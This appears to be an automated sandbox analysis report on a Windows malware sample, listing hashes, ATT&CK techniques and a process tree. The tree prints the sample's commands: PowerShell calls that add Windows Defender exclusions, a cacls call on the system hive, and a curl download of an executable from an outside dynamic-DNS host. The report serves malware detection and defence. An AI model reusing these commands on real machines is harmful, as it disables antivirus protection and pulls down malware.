246d03f418d4eb9a19ead89eb7816714b6a69f920cfeea3d3d17c971ba4c6823

General

Target

246d03f418d4eb9a19ead89eb7816714b6a69f920cfeea3d3d17c971ba4c6823_Sigmanly.exe
Size

121KB
MD5

5dce69c450262d7a5d48cdc8fccad2d7
SHA1

11cd8fa07e2314287099aaf4fbedb5dcc1fcf62a
SHA256

246d03f418d4eb9a19ead89eb7816714b6a69f920cfeea3d3d17c971ba4c6823
SHA512

7f5c2f5e6a02990adf6d638a8368f07a2f949dfedd7197e342c7467cc0ff4af5480ba2585060986f65e3f62efcdb80c037b89815db095326890269ef31db836a
SSDEEP

3072:MV3J6kkt5h1X+HqTi0BW69hd1MMdxPe9N9uA0/+hL9TBfnPJR:ht5hBPi0BW69hd1MMdxPe9N9uA069TBb

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2436	powershell.exe
3236	powershell.exe
4460	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	246d03f418d4eb9a19ead89eb7816714b6a69f920cfeea3d3d17c971ba4c6823_Sigmanly.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
5052	timeout.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2436	powershell.exe
2436	powershell.exe
3236	powershell.exe
3236	powershell.exe
4460	powershell.exe
4460	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2436	powershell.exe
Token: SeDebugPrivilege	3236	powershell.exe
Token: SeDebugPrivilege	4460	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1232	cmd.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2204 wrote to memory of 1232	2204	246d03f418d4eb9a19ead89eb7816714b6a69f920cfeea3d3d17c971ba4c6823_Sigmanly.exe	82
PID 2204 wrote to memory of 1232	2204	246d03f418d4eb9a19ead89eb7816714b6a69f920cfeea3d3d17c971ba4c6823_Sigmanly.exe	82
PID 1232 wrote to memory of 2312	1232	cmd.exe	84
PID 1232 wrote to memory of 2312	1232	cmd.exe	84
PID 1232 wrote to memory of 2436	1232	cmd.exe	85
PID 1232 wrote to memory of 2436	1232	cmd.exe	85
PID 1232 wrote to memory of 3236	1232	cmd.exe	86
PID 1232 wrote to memory of 3236	1232	cmd.exe	86
PID 1232 wrote to memory of 4460	1232	cmd.exe	87
PID 1232 wrote to memory of 4460	1232	cmd.exe	87
PID 1232 wrote to memory of 5052	1232	cmd.exe	88
PID 1232 wrote to memory of 5052	1232	cmd.exe	88
PID 1232 wrote to memory of 1484	1232	cmd.exe	89
PID 1232 wrote to memory of 1484	1232	cmd.exe	89

C:\Users\Admin\AppData\Local\Temp\246d03f418d4eb9a19ead89eb7816714b6a69f920cfeea3d3d17c971ba4c6823_Sigmanly.exe
"C:\Users\Admin\AppData\Local\Temp\246d03f418d4eb9a19ead89eb7816714b6a69f920cfeea3d3d17c971ba4c6823_Sigmanly.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2204
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\6D9E.tmp\6D9F.tmp\6DA0.bat C:\Users\Admin\AppData\Local\Temp\246d03f418d4eb9a19ead89eb7816714b6a69f920cfeea3d3d17c971ba4c6823_Sigmanly.exe"
  2⤵
  - Checks computer location settings
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1232
- - C:\Windows\system32\cacls.exe
    "C:\Windows\system32\cacls.exe" "C:\Windows\system32\config\system"
    3⤵
    PID:2312
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -command "Add-MpPreference -ExclusionExtension '.exe'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2436
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -command "Add-MpPreference -ExclusionExtension '.bat'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3236
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users\Victalis\Links'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4460
- - C:\Windows\system32\timeout.exe
    timeout /t 3
    3⤵
    - Delays execution with timeout.exe
    PID:5052
- - C:\Windows\system32\curl.exe
    curl http://voltazur.ddns.net/Quas_Brout_ncrypt.exe
    3⤵
    PID:1484

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6d42b6da621e8df5674e26b799c8e2aa

SHA1
ab3ce1327ea1eeedb987ec823d5e0cb146bafa48

SHA256
5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c

SHA512
53faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
34f595487e6bfd1d11c7de88ee50356a

SHA1
4caad088c15766cc0fa1f42009260e9a02f953bb

SHA256
0f9a4b52e01cb051052228a55d0515911b7ef5a8db3cf925528c746df511424d

SHA512
10976c5deaf9fac449e703e852c3b08d099f430de2d7c7b8e2525c35d63e28b890e5aab63feff9b20bca0aaf9f35a3ba411aee3fbeee9ea59f90ed25bd617a0b

Download Submit
C:\Users\Admin\AppData\Local\Temp\6D9E.tmp\6D9F.tmp\6DA0.bat

Filesize
1KB

MD5
793c56b68060857e19833f659215179a

SHA1
2daea30fdb072ed77572ef5255095f649441c467

SHA256
974c3b25c20b04c6c9c64e63c133b3263f275533bac599f56a4f60519f233716

SHA512
508c792fbbe2207d008cebd370c96d223e3cef3cbd5e7a89e4bcfaf94b3d94772b1f4729291a7ae99e473304e7bd175fc549eb4891f4eedd78740ab982b72aea

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bhufith3.hx0.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2436-2-0x00007FFFFBD73000-0x00007FFFFBD75000-memory.dmp

Filesize
8KB

Download
memory/2436-3-0x00000214FEAF0000-0x00000214FEB12000-memory.dmp

Filesize
136KB

Download
memory/2436-13-0x00007FFFFBD70000-0x00007FFFFC831000-memory.dmp

Filesize
10.8MB

Download
memory/2436-14-0x00007FFFFBD70000-0x00007FFFFC831000-memory.dmp

Filesize
10.8MB

Download
memory/2436-17-0x00007FFFFBD70000-0x00007FFFFC831000-memory.dmp

Filesize
10.8MB

Download

Analysis

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